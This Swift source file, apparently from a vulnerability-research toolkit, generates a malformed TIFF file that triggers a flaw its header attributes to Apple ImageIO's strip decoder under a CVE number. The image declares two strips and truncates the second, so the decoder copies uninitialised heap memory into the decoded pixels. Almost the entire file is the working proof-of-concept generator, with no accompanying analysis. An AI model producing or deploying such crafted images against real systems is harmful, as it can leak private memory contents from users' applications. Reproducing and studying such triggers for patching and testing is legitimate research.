// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
// TIFF truncated strip → uninitialised heap into pixels
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── seed construction (from Cinder27 Sources: TIFFPayload) ──
enum TIFFPayload {
    struct Entry {
        let tag: UInt16
        let type: UInt16
        let count: UInt32
        let value: [UInt8]      // raw payload bytes (little-endian), inline if <= 4
    }

static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
        let ifdOffset = 8
        let ifdSize = 2 + entries.count * 12 + 4
        var extraOffset = ifdOffset + ifdSize
        if extraOffset % 2 == 1 { extraOffset += 1 }

        var extra = Data()
        var blobOffsets: [UInt16: UInt32] = [:]
        for blob in blobs {
            blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
            extra.append(contentsOf: blob.bytes)
        }

        var out = Data()
        out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
        out.append(contentsOf: B.le32(UInt32(ifdOffset)))
        out.append(contentsOf: B.le16(UInt16(entries.count)))
        for e in entries.sorted(by: { $0.tag < $1.tag }) {
            out.append(contentsOf: B.le16(e.tag))
            out.append(contentsOf: B.le16(e.type))
            out.append(contentsOf: B.le32(e.count))
            if e.value.count <= 4 {
                var v = e.value
                while v.count < 4 { v.append(0) }
                out.append(contentsOf: v)
            } else {
                out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
            }
        }
        out.append(contentsOf: B.le32(0))
        if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
        out.append(extra)
        return out
    }

static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data {
        let stripBytes = width * height / 2
        let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8)
        var entries: [Entry] = [
            Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
            Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
            Entry(tag: 258, type: 3, count: 1, value: B.le16(8)),
            Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
            Entry(tag: 262, type: 3, count: 1, value: B.le16(1)),
            Entry(tag: 273, type: 4, count: 2, value: placeholder),
            Entry(tag: 277, type: 3, count: 1, value: B.le16(1)),
            Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))),
            Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))),
            Entry(tag: 284, type: 3, count: 1, value: B.le16(1)),
        ]
        // pass 1: identical-size placeholder fixes the file length
        var data = build(entries: entries, blobs: [(273, placeholder)])
        let base = UInt32(data.count)
        // pass 2: real strip offsets — both passes produce the same layout
        let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes))
        entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets)
        data = build(entries: entries, blobs: [(273, stripOffsets)])
        data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes))
        data.append(contentsOf: [UInt8](repeating: 0x00, count: 16))   // truncated second strip
        return data
    }

}